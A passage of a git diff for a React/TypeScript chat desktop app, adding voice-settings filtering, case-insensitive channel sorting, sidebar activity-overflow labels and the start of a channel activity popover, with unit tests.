+    </section>
+  );
+}
diff --git a/desktop/src/features/settings/ui/voiceSettingsLogic.test.mjs b/desktop/src/features/settings/ui/voiceSettingsLogic.test.mjs
new file mode 100644
index 0000000000..8ffc918471
--- /dev/null
+++ b/desktop/src/features/settings/ui/voiceSettingsLogic.test.mjs
@@ -0,0 +1,60 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  selectedVoiceForBackend,
+  voiceOptionLabel,
+  voicesForBackend,
+} from "./voiceSettingsLogic.ts";
+
+const voice = (key, displayName, fallbackKey = "pocket:mary") => ({
+  key,
+  displayName,
+  backend: "pocket",
+  backendName: "Pocket TTS",
+  availability: "bundled",
+  fallbackKey,
+  referenceFile: `${key}.wav`,
+  provenance: {
+    source: "bundled",
+    contentHash: null,
+    license: null,
+    sourceUrl: null,
+  },
+});
+
+test("Pocket-only V1 filters the shared registry by backend", () => {
+  const registry = [
+    voice("pocket:mary", "Mary", null),
+    { ...voice("siri:aaron", "Aaron"), backend: "siri" },
+  ];
+  assert.deepEqual(
+    voicesForBackend(registry, "pocket").map((entry) => entry.key),
+    ["pocket:mary"],
+  );
+});
+
+test("local selection uses the first compatible qualified preference", () => {
+  const voices = [
+    voice("pocket:mary", "Mary", null),
+    voice("pocket:eve", "Eve"),
+  ];
+  assert.equal(
+    selectedVoiceForBackend(["siri:aaron", "pocket:eve", "pocket:mary"], voices)
+      ?.key,
+    "pocket:eve",
+  );
+});
+
+test("duplicate display labels remain distinct by content-derived key", () => {
+  const voices = [
+    voice("pocket:imported:aaa", "Jim"),
+    voice("pocket:imported:bbb", "Jim"),
+  ];
+  assert.equal(
+    selectedVoiceForBackend(["pocket:imported:bbb"], voices)?.key,
+    "pocket:imported:bbb",
+  );
+  assert.equal(voiceOptionLabel(voices[0], voices), "Jim · aaa");
+  assert.equal(voiceOptionLabel(voices[1], voices), "Jim · bbb");
+});
diff --git a/desktop/src/features/settings/ui/voiceSettingsLogic.ts b/desktop/src/features/settings/ui/voiceSettingsLogic.ts
new file mode 100644
index 0000000000..30352f2d0f
--- /dev/null
+++ b/desktop/src/features/settings/ui/voiceSettingsLogic.ts
@@ -0,0 +1,57 @@
+export type VoiceAvailability =
+  | "bundled"
+  | "installed"
+  | "downloadable"
+  | "unavailable";
+
+export type VoiceRegistryEntry = {
+  key: string;
+  displayName: string;
+  backend: string;
+  backendName: string;
+  availability: VoiceAvailability;
+  fallbackKey: string | null;
+  referenceFile: string | null;
+  provenance: {
+    source: string;
+    contentHash: string | null;
+    license: string | null;
+    sourceUrl: string | null;
+  };
+};
+
+export function voicesForBackend(
+  registry: readonly VoiceRegistryEntry[],
+  backend: string,
+): VoiceRegistryEntry[] {
+  return registry.filter(
+    (voice) =>
+      voice.backend === backend &&
+      (voice.availability === "bundled" || voice.availability === "installed"),
+  );
+}
+
+export function selectedVoiceForBackend(
+  preferences: readonly string[],
+  voices: readonly VoiceRegistryEntry[],
+): VoiceRegistryEntry | undefined {
+  for (const key of preferences) {
+    const voice = voices.find((candidate) => candidate.key === key);
+    if (voice) return voice;
+  }
+  return voices.find((voice) => voice.fallbackKey === null) ?? voices[0];
+}
+
+export function voiceOptionLabel(
+  voice: VoiceRegistryEntry,
+  voices: readonly VoiceRegistryEntry[],
+): string {
+  const duplicateLabel = voices.some(
+    (candidate) =>
+      candidate.key !== voice.key &&
+      candidate.displayName === voice.displayName,
+  );
+  if (!duplicateLabel) return voice.displayName;
+  const identitySuffix = voice.key.split(":").at(-1)?.slice(-8) ?? voice.key;
+  return `${voice.displayName} · ${identitySuffix}`;
+}
diff --git a/desktop/src/features/sidebar/lib/channelSortPreference.test.mjs b/desktop/src/features/sidebar/lib/channelSortPreference.test.mjs
index ac558075f0..7f2b94656e 100644
--- a/desktop/src/features/sidebar/lib/channelSortPreference.test.mjs
+++ b/desktop/src/features/sidebar/lib/channelSortPreference.test.mjs
@@ -170,19 +170,19 @@ test("stripOrphanedSectionModes: does not mutate the input store", () => {
 
 // ── sortChannelsForSidebar ───────────────────────────────────────────────────
 
-test("alpha: sorts by name with id tie-breaker", () => {
+test("alpha: sorts case-insensitively with deterministic code-unit collation", () => {
   const sorted = sortChannelsForSidebar(
     [
       makeChannel("2", "zeta"),
+      makeChannel("3", "Alpha"),
       makeChannel("1", "alpha"),
-      makeChannel("b", "same"),
-      makeChannel("a", "same"),
+      makeChannel("4", "Éclair"),
     ],
     "alpha",
   );
   assert.deepEqual(
     sorted.map((c) => c.id),
-    ["1", "a", "b", "2"],
+    ["1", "3", "2", "4"],
   );
 });
 
diff --git a/desktop/src/features/sidebar/lib/channelSortPreference.ts b/desktop/src/features/sidebar/lib/channelSortPreference.ts
index 6a09e1e8f1..6bd9b48d7b 100644
--- a/desktop/src/features/sidebar/lib/channelSortPreference.ts
+++ b/desktop/src/features/sidebar/lib/channelSortPreference.ts
@@ -128,8 +128,17 @@ function channelRecencyMs(channel: Channel): number | null {
   return Number.isFinite(ms) ? ms : null;
 }
 
+function compareCodeUnits(left: string, right: string): number {
+  if (left < right) return -1;
+  if (left > right) return 1;
+  return 0;
+}
+
 export function compareChannelsByName(left: Channel, right: Channel): number {
-  return left.name.localeCompare(right.name) || left.id.localeCompare(right.id);
+  return (
+    compareCodeUnits(left.name.toLowerCase(), right.name.toLowerCase()) ||
+    compareCodeUnits(left.id, right.id)
+  );
 }
 
 /**
diff --git a/desktop/src/features/sidebar/lib/useActiveWorkingChannelsById.ts b/desktop/src/features/sidebar/lib/useActiveWorkingChannelsById.ts
index 37a3c86656..9b4c3c7804 100644
--- a/desktop/src/features/sidebar/lib/useActiveWorkingChannelsById.ts
+++ b/desktop/src/features/sidebar/lib/useActiveWorkingChannelsById.ts
@@ -2,7 +2,10 @@ import * as React from "react";
 
 import type { ActiveChannelTurnSummary } from "@/features/agents/activeAgentTurnsStore";
 import { useWorkingChannels } from "@/features/agents/agentWorkingSignal";
-import { useManagedAgentsQuery } from "@/features/agents/hooks";
+import {
+  useManagedAgentsQuery,
+  useRelayAgentsQuery,
+} from "@/features/agents/hooks";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 
 export function resolveActiveWorkingChannelNames(
@@ -27,10 +30,15 @@ export function useActiveWorkingChannelsById(): ReadonlyMap<
   ActiveChannelTurnSummary
 > {
   const managedAgentsQuery = useManagedAgentsQuery();
+  const relayAgentsQuery = useRelayAgentsQuery();
   const managedAgents = React.useMemo(
     () => managedAgentsQuery.data ?? [],
     [managedAgentsQuery.data],
   );
+  const namedAgents = React.useMemo(
+    () => [...(relayAgentsQuery.data ?? []), ...managedAgents],
+    [managedAgents, relayAgentsQuery.data],
+  );
 
   // Unified working signal: observer-derived turns primary, bot typing as
   // fallback — so the sidebar badge appears even for agents whose observer
@@ -42,11 +50,11 @@ export function useActiveWorkingChannelsById(): ReadonlyMap<
         activeWorkingChannels.map((summary) => {
           const resolvedSummary = resolveActiveWorkingChannelNames(
             summary,
-            managedAgents,
+            namedAgents,
           );
           return [resolvedSummary.channelId, resolvedSummary];
         }),
       ),
-    [activeWorkingChannels, managedAgents],
+    [activeWorkingChannels, namedAgents],
   );
 }
diff --git a/desktop/src/features/sidebar/lib/useCreateChannelForm.ts b/desktop/src/features/sidebar/lib/useCreateChannelForm.ts
index b227c0ae32..af03b9e4dd 100644
--- a/desktop/src/features/sidebar/lib/useCreateChannelForm.ts
+++ b/desktop/src/features/sidebar/lib/useCreateChannelForm.ts
@@ -46,6 +46,7 @@ export type CreateChannelFormState = {
   errorMessage: string | null;
   selectedTemplateId: string | null;
   handleTemplateChange: (templateId: string) => void;
+  handleTemplateCreated: (template: ChannelTemplate) => void;
   templates: ChannelTemplate[];
   nameInputRef: React.RefObject<HTMLInputElement | null>;
   isCreating: boolean;
@@ -120,6 +121,13 @@ export function useCreateChannelForm({
     return () => globalThis.clearTimeout(timerId);
   }, [active, autoFocusName, initialName]);
 
+  const applyTemplate = React.useCallback((template: ChannelTemplate) => {
+    setSelectedTemplateId(template.id);
+    setDescription(template.description ?? "");
+    if (!visibilityTouchedRef.current) setVisibility(template.visibility);
+    setErrorMessage(null);
+  }, []);
+
   const handleTemplateChange = React.useCallback(
     (templateId: string) => {
       if (!templateId) {
@@ -135,12 +143,9 @@ export function useCreateChannelForm({
       );
       if (!template) return;
 
-      setSelectedTemplateId(templateId);
-      setDescription(template.description ?? "");
-      if (!visibilityTouchedRef.current) setVisibility(template.visibility);
-      setErrorMessage(null);
+      applyTemplate(template);
     },
-    [templates],
+    [applyTemplate, templates],
   );
 
   const handleSubmit = React.useCallback(
@@ -211,6 +216,7 @@ export function useCreateChannelForm({
     errorMessage,
     selectedTemplateId,
     handleTemplateChange,
+    handleTemplateCreated: applyTemplate,
     templates,
     nameInputRef,
     isCreating,
diff --git a/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.test.mjs b/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.test.mjs
new file mode 100644
index 0000000000..d548b7e502
--- /dev/null
+++ b/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.test.mjs
@@ -0,0 +1,38 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { getOffscreenActivityChannelIds } from "./useOffscreenActivityChannelIds.ts";
+import { getSidebarActivityOverflowLabel } from "./useSidebarActivityOverflow.ts";
+
+test("keeps every unread channel navigable while adding working activity", () => {
+  const activity = getOffscreenActivityChannelIds({
+    activeWorkingByChannelId: new Map([["working", {}]]),
+    previewActivityChannelIds: new Set(["preview"]),
+    unreadChannelIds: new Set(["dm", "forum", "stream"]),
+  });
+
+  assert.deepEqual([...activity.messageChannelIds].sort(), [
+    "dm",
+    "forum",
+    "preview",
+    "stream",
+  ]);
+  assert.deepEqual([...activity.channelIds].sort(), [
+    "dm",
+    "forum",
+    "preview",
+    "stream",
+    "working",
+  ]);
+});
+
+test("uses an activity-neutral overflow label when work contributes", () => {
+  assert.equal(
+    getSidebarActivityOverflowLabel({ activityCount: 2, messageCount: 1 }),
+    "2 new activity",
+  );
+  assert.equal(
+    getSidebarActivityOverflowLabel({ activityCount: 1, messageCount: 1 }),
+    undefined,
+  );
+});
diff --git a/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.ts b/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.ts
new file mode 100644
index 0000000000..aef953efff
--- /dev/null
+++ b/desktop/src/features/sidebar/lib/useOffscreenActivityChannelIds.ts
@@ -0,0 +1,53 @@
+import * as React from "react";
+
+type OffscreenActivityChannelIds = {
+  messageChannelIds: ReadonlySet<string>;
+  channelIds: ReadonlySet<string>;
+};
+
+export function getOffscreenActivityChannelIds({
+  activeWorkingByChannelId,
+  previewActivityChannelIds,
+  unreadChannelIds,
+}: {
+  activeWorkingByChannelId: ReadonlyMap<string, unknown>;
+  previewActivityChannelIds: ReadonlySet<string>;
+  unreadChannelIds: ReadonlySet<string>;
+}): OffscreenActivityChannelIds {
+  // Every unread row must remain navigable, including top-level stream and
+  // forum unreads that do not have thread-preview activity.
+  const messageChannelIds = new Set([
+    ...unreadChannelIds,
+    ...previewActivityChannelIds,
+  ]);
+
+  return {
+    messageChannelIds,
+    channelIds: new Set([
+      ...messageChannelIds,
+      ...activeWorkingByChannelId.keys(),
+    ]),
+  };
+}
+
+export function useOffscreenActivityChannelIds(args: {
+  activeWorkingByChannelId: ReadonlyMap<string, unknown>;
+  previewActivityChannelIds: ReadonlySet<string>;
+  unreadChannelIds: ReadonlySet<string>;
+}) {
+  const {
+    activeWorkingByChannelId,
+    previewActivityChannelIds,
+    unreadChannelIds,
+  } = args;
+
+  return React.useMemo(
+    () =>
+      getOffscreenActivityChannelIds({
+        activeWorkingByChannelId,
+        previewActivityChannelIds,
+        unreadChannelIds,
+      }),
+    [activeWorkingByChannelId, previewActivityChannelIds, unreadChannelIds],
+  );
+}
diff --git a/desktop/src/features/sidebar/lib/useScalarlySections.ts b/desktop/src/features/sidebar/lib/useScalarlySections.ts
new file mode 100644
index 0000000000..ae3d27f078
--- /dev/null
+++ b/desktop/src/features/sidebar/lib/useScalarlySections.ts
@@ -0,0 +1,35 @@
+import type { Community } from "@/features/communities/types";
+import type { Channel } from "@/shared/api/types";
+import {
+  useChannelSections,
+  type ChannelSection,
+} from "@/features/sidebar/lib/useChannelSections";
+import { useScalarlyDefaultChannelSections } from "@/features/sidebar/lib/useScalarlyDefaultChannelSections";
+
+export type { ChannelSection };
+
+/**
+ * `useChannelSections` with the Scalarly default sidebar sections seeded once
+ * per relay, while the section store is still empty.
+ *
+ * Wrapping keeps the wiring out of `AppSidebar.tsx`, which sits on the
+ * 1000-line ratchet — the call there stays a single line.
+ */
+export function useScalarlySections(
+  pubkey: string | undefined,
+  community: Community | null | undefined,
+  channels: readonly Channel[],
+  isLoading: boolean,
+): ReturnType<typeof useChannelSections> {
+  const store = useChannelSections(pubkey, community?.relayUrl);
+  useScalarlyDefaultChannelSections({
+    channels,
+    pubkey,
+    relayUrl: community?.relayUrl,
+    isReady: store.isReady,
+    isLoading,
+    sectionCount: store.sections.length,
+    seedEmptyStore: store.seedEmptyStore,
+  });
+  return store;
+}
diff --git a/desktop/src/features/sidebar/lib/useSidebarActivityOverflow.ts b/desktop/src/features/sidebar/lib/useSidebarActivityOverflow.ts
new file mode 100644
index 0000000000..c194ed9cff
--- /dev/null
+++ b/desktop/src/features/sidebar/lib/useSidebarActivityOverflow.ts
@@ -0,0 +1,45 @@
+import { useOffscreenActivityChannelIds } from "@/features/sidebar/lib/useOffscreenActivityChannelIds";
+import { useUnreadOverflow } from "@/features/sidebar/lib/useUnreadOverflow";
+
+type ActivityOptions = Parameters<typeof useOffscreenActivityChannelIds>[0];
+type ScrollRef = Parameters<typeof useUnreadOverflow>[0]["scrollRef"];
+
+export function getSidebarActivityOverflowLabel({
+  activityCount,
+  messageCount,
+}: {
+  activityCount: number;
+  messageCount: number;
+}) {
+  return activityCount === messageCount
+    ? undefined
+    : `${activityCount} new activity`;
+}
+
+export function useSidebarActivityOverflow({
+  scrollRef,
+  ...activityOptions
+}: ActivityOptions & { scrollRef: ScrollRef }) {
+  const { channelIds, messageChannelIds } =
+    useOffscreenActivityChannelIds(activityOptions);
+  const activityOverflow = useUnreadOverflow({
+    scrollRef,
+    unreadChannelIds: channelIds,
+  });
+  const messageOverflow = useUnreadOverflow({
+    scrollRef,
+    unreadChannelIds: messageChannelIds,
+  });
+
+  return {
+    ...activityOverflow,
+    unreadAboveLabel: getSidebarActivityOverflowLabel({
+      activityCount: activityOverflow.unreadAboveCount,
+      messageCount: messageOverflow.unreadAboveCount,
+    }),
+    unreadBelowLabel: getSidebarActivityOverflowLabel({
+      activityCount: activityOverflow.unreadBelowCount,
+      messageCount: messageOverflow.unreadBelowCount,
+    }),
+  };
+}
diff --git a/desktop/src/features/sidebar/ui/AppSidebar.tsx b/desktop/src/features/sidebar/ui/AppSidebar.tsx
index f9b1312c1f..de040d13ea 100644
--- a/desktop/src/features/sidebar/ui/AppSidebar.tsx
+++ b/desktop/src/features/sidebar/ui/AppSidebar.tsx
@@ -3,15 +3,16 @@ import * as React from "react";
 import { FeatureGate } from "@/shared/features";
 import { SidebarDndContext } from "@/features/sidebar/ui/SidebarDnd";
 
+import type { LeaveCommunityResult } from "@/features/communities/leaveCommunity";
 import type { Community } from "@/features/communities/types";
 import { AddCommunityDialog } from "@/features/communities/ui/AddCommunityDialog";
 import type { AddCommunityPrefillRequest } from "@/features/communities/addCommunityPrefill";
 import { useIsMobile } from "@/shared/hooks/use-mobile";
 import { useDeferredLoad } from "@/shared/hooks/useDeferredStartup";
 import {
-  useChannelSections,
+  useScalarlySections,
   type ChannelSection,
-} from "@/features/sidebar/lib/useChannelSections";
+} from "@/features/sidebar/lib/useScalarlySections";
 import { useActiveWorkingChannelsById } from "@/features/sidebar/lib/useActiveWorkingChannelsById";
 import { useDmSidebarMetadata } from "@/features/sidebar/useDmSidebarMetadata";
 import { sortDmChannelsForSidebar } from "@/features/sidebar/lib/dmSidebarSort";
@@ -22,8 +23,7 @@ import {
 import { useChannelSortPreference } from "@/features/sidebar/lib/useChannelSortPreference";
 import { useSidebarScrollLock } from "@/features/sidebar/lib/useSidebarScrollLock";
 import { isSidebarBackgroundTarget } from "@/features/sidebar/lib/sidebarBackgroundTarget";
-import { useUnreadOverflow } from "@/features/sidebar/lib/useUnreadOverflow";
-import { useScalarlyDefaultChannelSections } from "@/features/sidebar/lib/useScalarlyDefaultChannelSections";
+import { useSidebarActivityOverflow } from "@/features/sidebar/lib/useSidebarActivityOverflow";
 import {
   CreateSectionDialog,
   DeleteSectionAlertDialog,
@@ -46,6 +46,11 @@ import {
 } from "@/features/sidebar/ui/CustomChannelSection";
 import { CreateChannelDialog } from "@/features/sidebar/ui/CreateChannelDialog";
 import { SidebarProfileCard } from "@/features/sidebar/ui/SidebarProfileCard";
+import { HuddleProfileControl } from "@/features/huddle";
+import type {
+  CollapsibleSidebarGroup,
+  CreateChannelKind,
+} from "@/features/sidebar/ui/AppSidebar.types";
 import { SidebarRelayConnectionCard } from "@/features/sidebar/ui/SidebarRelayConnectionCard";
 import type { useSidebarRelayConnectionCard } from "@/features/sidebar/ui/useSidebarRelayConnectionCard";
 import {
@@ -75,14 +80,6 @@ import {
   useSidebar,
 } from "@/shared/ui/sidebar";
 
-type CollapsibleSidebarGroup =
-  | "starred"
-  | "channels"
-  | "forums"
-  | "directMessages";
-
-type CreateChannelKind = "stream" | "forum";
-
 type AppSidebarProps = {
   addCommunityPrefill?: AddCommunityPrefillRequest | null;
   activeCommunity: Community | null;
@@ -109,6 +106,7 @@ type AppSidebarProps = {
     | "projects";
   unreadChannelCounts: ReadonlyMap<string, number>;
   unreadChannelIds: ReadonlySet<string>;
+  previewActivityChannelIds: ReadonlySet<string>;
   communities: Community[];
   onAddCommunity: (community: Community) => void;
   onAddCommunityOpenChange?: (open: boolean) => void;
@@ -141,7 +139,7 @@ type AppSidebarProps = {
     id: string,
     updates: Partial<Pick<Community, "name" | "relayUrl" | "token">>,
   ) => void;
-  onRemoveCommunity: (id: string) => void;
+  onRemoveCommunity: (id: string) => Promise<LeaveCommunityResult | undefined>;
   onCreateAgent: () => void;
   onSelectAgents: () => void;
   onSelectProjects: () => void;
@@ -167,6 +165,8 @@ type AppSidebarProps = {
   onNewMessage: () => void;
   onBackgroundClick?: () => void;
   isCreateChannelOpen?: boolean;
+  isHuddleCompanionOpen?: boolean;
+  onHuddleEnded?: (ephemeralChannelId: string | null) => void;
   onCreateChannelOpenChange?: (open: boolean) => void;
   mutedChannelIds?: ReadonlySet<string>;
   onMuteChannel?: (channelId: string) => void;
@@ -196,6 +196,7 @@ export function AppSidebar({
   selectedView,
   unreadChannelCounts,
   unreadChannelIds,
+  previewActivityChannelIds,
   communities,
   onAddCommunity,
   onAddCommunityOpenChange,
@@ -230,6 +231,8 @@ export function AppSidebar({
   isPresencePending,
   onNewMessage,
   isCreateChannelOpen: isCreateChannelOpenProp,
+  isHuddleCompanionOpen = false,
+  onHuddleEnded,
   onCreateChannelOpenChange,
   mutedChannelIds,
   onMuteChannel,
@@ -250,6 +253,8 @@ export function AppSidebar({
   const [dmActionsMenuOpen, setDmActionsMenuOpen] = React.useState(false);
   const scrollRef = React.useRef<HTMLDivElement>(null);
   useSidebarScrollLock(scrollRef);
+  // biome-ignore format: keep compact to stay within file size limit
+  const { scrollToNextAbove, scrollToNextBelow, unreadAboveCount, unreadBelowCount, unreadAboveLabel, unreadBelowLabel } = useSidebarActivityOverflow({ activeWorkingByChannelId, previewActivityChannelIds, scrollRef, unreadChannelIds });
 
   React.useEffect(() => {
     const scrollElement = scrollRef.current;
@@ -348,8 +353,6 @@ export function AppSidebar({
   const {
     sections: channelSections,
     assignments: channelAssignments,
-    isReady: areChannelSectionsReady,
-    seedEmptyStore,
     createSection,
     renameSection,
     deleteSection,
@@ -358,7 +361,7 @@ export function AppSidebar({
     reorderSections,
     assignChannel,
     unassignChannel,
-  } = useChannelSections(currentPubkey, activeCommunity?.relayUrl);
+  } = useScalarlySections(currentPubkey, activeCommunity, channels, isLoading);
 
   const sectionIds = React.useMemo(
     () => channelSections.map((s) => s.id),
@@ -391,9 +394,6 @@ export function AppSidebar({
     [channels],
   );
 
-  // biome-ignore format: keep compact to stay within file size limit
-  useScalarlyDefaultChannelSections({ channels, pubkey: currentPubkey, relayUrl: activeCommunity?.relayUrl, isReady: areChannelSectionsReady, isLoading, sectionCount: channelSections.length, seedEmptyStore });
-
   const sectionBuckets = React.useMemo(() => {
     const bySection: Record<string, Channel[]> = {};
     const unassigned: Channel[] = [];
@@ -508,13 +508,6 @@ export function AppSidebar({
     profile?.displayName?.trim() ||
     fallbackDisplayName?.trim() ||
     "Current identity";
-  const {
-    scrollToNextAbove,
-    scrollToNextBelow,
-    unreadAboveCount,
-    unreadBelowCount,
-  } = useUnreadOverflow({ scrollRef, unreadChannelIds });
-
   const isCreatingAny =
     createDialogKind === "stream"
       ? isCreatingChannel
@@ -557,7 +550,7 @@ export function AppSidebar({
 
   return (
     <Sidebar
-      className="!border-r-0"
+      className="!z-[100] !border-r-0"
       collapsible="offcanvas"
       data-testid="app-sidebar"
       onClick={(event) => {
@@ -596,6 +589,7 @@ export function AppSidebar({
           {unreadAboveCount > 0 ? (
             <MoreUnreadButton
               count={unreadAboveCount}
+              label={unreadAboveLabel}
               onClick={scrollToNextAbove}
               position="top"
               testId="sidebar-more-unread-above"
@@ -867,6 +861,7 @@ export function AppSidebar({
             <MoreUnreadButton
               bottomClassName="bottom-full"
               count={unreadBelowCount}
+              label={unreadBelowLabel}
               onClick={scrollToNextBelow}
               position="bottom"
               testId="sidebar-more-unread-below"
@@ -894,6 +889,11 @@ export function AppSidebar({
                 />
               </div>
             ) : null}
+            <HuddleProfileControl
+              channels={channels}
+              onHuddleEnded={onHuddleEnded}
+              visible={isHuddleCompanionOpen}
+            />
             <SidebarMenu>
               <SidebarMenuItem>
                 <SidebarProfileCard
diff --git a/desktop/src/features/sidebar/ui/AppSidebar.types.ts b/desktop/src/features/sidebar/ui/AppSidebar.types.ts
new file mode 100644
index 0000000000..48a19711a6
--- /dev/null
+++ b/desktop/src/features/sidebar/ui/AppSidebar.types.ts
@@ -0,0 +1,7 @@
+export type CollapsibleSidebarGroup =
+  | "starred"
+  | "channels"
+  | "forums"
+  | "directMessages";
+
+export type CreateChannelKind = "stream" | "forum";
diff --git a/desktop/src/features/sidebar/ui/AppSidebarPinnedHeader.tsx b/desktop/src/features/sidebar/ui/AppSidebarPinnedHeader.tsx
index a673492ef1..14463060d4 100644
--- a/desktop/src/features/sidebar/ui/AppSidebarPinnedHeader.tsx
+++ b/desktop/src/features/sidebar/ui/AppSidebarPinnedHeader.tsx
@@ -98,13 +98,22 @@ export function AppSidebarPrimaryMenu({
       <SidebarMenu className="pb-2">
         <SidebarMenuItem>
           <SidebarMenuButton
+            className="data-[active=true]:font-normal"
             isActive={selectedView === "home"}
             onClick={onSelectHome}
             tooltip="Inbox"
             type="button"
           >
-            <Inbox className="h-4 w-4" />
-            <SidebarMenuLabel>Inbox</SidebarMenuLabel>
+            <Inbox
+              className={
+                selectedView !== "home" ? "h-4 w-4 opacity-80" : "h-4 w-4"
+              }
+            />
+            <SidebarMenuLabel
+              className={selectedView !== "home" ? "opacity-80" : undefined}
+            >
+              Inbox
+            </SidebarMenuLabel>
           </SidebarMenuButton>
           {homeBadgeCount > 0 ? (
             <SidebarMenuBadge
@@ -145,14 +154,23 @@ export function AppSidebarPrimaryMenu({
         </FeatureGate>
         <SidebarMenuItem>
           <SidebarMenuButton
+            className="data-[active=true]:font-normal"
             data-testid="open-agents-view"
             isActive={selectedView === "agents"}
             onClick={onSelectAgents}
             tooltip="Agents"
             type="button"
           >
-            <Bot className="h-4 w-4" />
-            <SidebarMenuLabel>Agents</SidebarMenuLabel>
+            <Bot
+              className={
+                selectedView !== "agents" ? "h-4 w-4 opacity-80" : "h-4 w-4"
+              }
+            />
+            <SidebarMenuLabel
+              className={selectedView !== "agents" ? "opacity-80" : undefined}
+            >
+              Agents
+            </SidebarMenuLabel>
           </SidebarMenuButton>
         </SidebarMenuItem>
         <FeatureGate feature="workflows">
diff --git a/desktop/src/features/sidebar/ui/ChannelActivityPopover.tsx b/desktop/src/features/sidebar/ui/ChannelActivityPopover.tsx
new file mode 100644
index 0000000000..1c86ac4c36
--- /dev/null
+++ b/desktop/src/features/sidebar/ui/ChannelActivityPopover.tsx
@@ -0,0 +1,451 @@
+import * as React from "react";
+import { Clock, Loader2, MailOpen } from "lucide-react";
+
+import { useAppShell } from "@/app/AppShellContext";
+import { useAppNavigation } from "@/app/navigation/useAppNavigation";
+import type { ActiveChannelTurnSummary } from "@/features/agents/activeAgentTurnsStore";
+import { formatElapsed } from "@/features/agents/ui/agentSessionUtils";
+import { useOpenAgentActivity } from "@/features/agents/useOpenAgentActivity";
+import { buildInboxItems, type InboxItem } from "@/features/home/lib/inbox";
+import { getGroupedInboxItemIds } from "@/features/home/useHomeInboxReadState";
+import { useUsersBatchQuery } from "@/features/profile/hooks";
+import type { UserProfileLookup } from "@/features/profile/lib/identity";
+import { useRemindLater } from "@/features/reminders/ui/RemindMeLaterProvider";
+import { useIdentityQuery } from "@/shared/api/hooks";
+import type { Channel, FeedItem, HomeFeedResponse } from "@/shared/api/types";
+import { normalizePubkey, truncatePubkey } from "@/shared/lib/pubkey";
+import { useNow } from "@/shared/lib/useNow";
+import { Markdown } from "@/shared/ui/markdown";
+import { Popover, PopoverAnchor, PopoverContent } from "@/shared/ui/popover";
+import { UserAvatar } from "@/shared/ui/UserAvatar";
+
+const HOVER_OPEN_DELAY_MS = 250;
+const HOVER_CLOSE_DELAY_MS = 180;
+const ACTIVITY_POPOVER_MOTION_STYLE = {
+  "--tw-enter-scale": "1",
+  "--tw-exit-scale": "1",
+} as React.CSSProperties;
+
+function buildChannelActivityFeed(items: FeedItem[]): HomeFeedResponse {
+  return {
+    feed: {
+      mentions: items.filter((item) => item.category === "mention"),
+      needsAction: items.filter((item) => item.category === "needs_action"),
+      activity: items.filter(
+        (item) =>
+          item.category !== "mention" &&
+          item.category !== "needs_action" &&
+          item.category !== "agent_activity",
+      ),
+      agentActivity: items.filter((item) => item.category === "agent_activity"),
+    },
+    meta: {
+      since: 0,
+      total: items.length,
+      generatedAt: 0,
+    },
+  };
+}
+
+function RowActionButton({
+  children,
+  label,
+  onClick,
+}: {
+  children: React.ReactNode;
+  label: string;
+  onClick: () => void;
+}) {
+  return (
+    <button
+      aria-label={label}
+      className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-background/80 hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring [&>svg]:size-4"
+      onClick={(event) => {
+        event.preventDefault();
+        event.stopPropagation();
+        onClick();
+      }}
+      title={label}
+      type="button"
+    >
+      {children}
+    </button>
+  );
+}
+
+function ThreadPreviewRow({
+  item,
+  onMarkRead,
+  onOpen,
+  onRemindLater,
+}: {
+  item: InboxItem;
+  onMarkRead: () => void;
+  onOpen: () => void;
+  onRemindLater: () => void;
+}) {
+  return (
+    <div
+      className="group/activity-row relative border-t border-border/50 first:border-t-0"
+      data-testid={`channel-activity-item-${item.conversationId}`}
+    >
+      <button
+        aria-label={`Open thread from ${item.senderLabel}`}
+        className="absolute inset-0 z-0 w-full text-left"
+        onClick={onOpen}
+        type="button"
+      />
+      <div className="pointer-events-none relative z-10 flex min-w-0 items-start gap-2.5 px-3 py-3 transition-colors group-hover/activity-row:bg-muted/50 group-focus-within/activity-row:bg-muted/50">
+        <UserAvatar
+          avatarUrl={item.avatarUrl}
+          className="h-9 w-9 shrink-0"
+          displayName={item.senderLabel}
+          size="md"
+        />
+        <div className="min-w-0 flex-1">
+          <div className="flex min-w-0 items-start gap-2">
+            <span className="min-w-0 flex-1 truncate text-sm font-semibold leading-4 text-foreground">
+              {item.senderLabel}
+            </span>
+            <span className="shrink-0 text-xs leading-4 text-muted-foreground/70 transition-opacity group-hover/activity-row:opacity-0 group-focus-within/activity-row:opacity-0">
+              {item.timestampLabel}
+            </span>
+          </div>
+          <div className="mt-0.5 flex items-center gap-1.5 text-xs leading-4 text-muted-foreground">
+            <span>Thread</span>
+            {item.unreadCount > 1 ? (
+              <>
+                <span aria-hidden="true">·</span>
+                <span>{item.unreadCount} unread</span>
+              </>
+            ) : null}
+          </div>
+          <Markdown
+            className="inbox-preview-markdown mt-1.5 line-clamp-2 text-sm font-medium leading-5 text-foreground"
+            content={item.preview}
+            interactive={false}
+            mentionNames={item.mentionNames}
+          />
+        </div>
+      </div>
+      <div className="pointer-events-none absolute right-2 top-2 z-20 flex items-center gap-0.5 rounded-full bg-muted/95 p-0.5 opacity-0 shadow-xs transition-opacity group-hover/activity-row:pointer-events-auto group-hover/activity-row:opacity-100 group-focus-within/activity-row:pointer-events-auto group-focus-within/activity-row:opacity-100">
+        <RowActionButton label="Mark as read" onClick={onMarkRead}>
+          <MailOpen />
+        </RowActionButton>
+        <RowActionButton label="Remind me later" onClick={onRemindLater}>
+          <Clock />
+        </RowActionButton>
+      </div>
+    </div>
+  );
+}
+
+function WorkingAgentRow({
+  avatarUrl,
+  elapsed,
+  name,
+  onOpen,
+  pubkey,
+}: {
+  avatarUrl: string | null;
+  elapsed: string;
+  name: string;
+  onOpen: () => void;
+  pubkey: string;
+}) {
+  return (
+    <button
+      className="flex w-full min-w-0 items-start gap-2.5 border-t border-border/50 px-3 py-3 text-left transition-colors first:border-t-0 hover:bg-muted/50 focus-visible:bg-muted/50 focus-visible:outline-hidden"
+      data-testid={`channel-activity-agent-${pubkey}`}
+      onClick={onOpen}
+      type="button"
+    >
+      <UserAvatar
+        avatarUrl={avatarUrl}
